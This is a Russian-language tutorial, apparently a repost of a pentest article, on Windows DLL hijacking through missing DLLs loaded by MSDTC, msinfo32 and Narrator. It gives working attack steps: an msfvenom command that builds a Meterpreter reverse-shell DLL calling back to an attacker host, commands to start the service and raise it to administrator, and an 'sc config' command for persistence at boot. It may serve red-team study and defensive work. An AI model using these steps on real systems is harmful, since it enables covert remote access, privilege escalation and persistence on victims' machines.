DLL Hijacking

DLL Hijacking

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Когда программа запускается, несколько DLL загружаются в область памяти ее процесса. Windows ищет библиотеки DLL, необходимые для процесса, просматривая системные папки в определенном порядке. Перехват порядка поиска может использоваться в сценариях «красных» для определения возможности повышения привилегий и сохранения.

Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.

 MSDTC

The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32. 

Код: 

oci.dll
SQLLib80.dll
xa80.dll

Они определены в следующем разделе реестра: 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI 

Ключ реестра - oci.dll

В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку. 

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll 
Создать произвольную DLL 

Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями: 

net start msdtc 
Служба координатора распределенных транзакций 

Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы. 

Meterpreter - oci DLL 

Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс. 

Process Explorer - oci.dll 

Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее. 

msdtc -install 

Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором. 

msdtc - привилегии администратора 

Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе. 

Код: 

sc qc msdtc
sc config msdtc start= auto
Persistence – Distributed Transaction Coordinator

MSInfo

Адам написал в своем блоге в 2013 году о фантомном угоне DLL, который является техникой, основанной на загрузке произвольных библиотек DLL из процесса Windows, в которых отсутствуют определенные библиотеки DLL. Microsoft System Information Tool отвечает за сбор информации об оборудовании, программном обеспечении и компонентах системы. В современных версиях Windows, таких как 8.1 и 10, этот процесс пытается загрузить недостающую DLL из System32, которая называется «fveapi.dll». Установка в этот каталог вредоносной библиотеки DLL с таким же именем приведет к загрузке библиотеки DLL в процесс «msinfo32.exe».

msinfo - Process Explorer 

Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».

msinfo - Meterpreter

Narrator

Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:

 C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL 

Narrator DLL 

При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer. 

Narrator DLL Process Explorer 

Источник

Report Page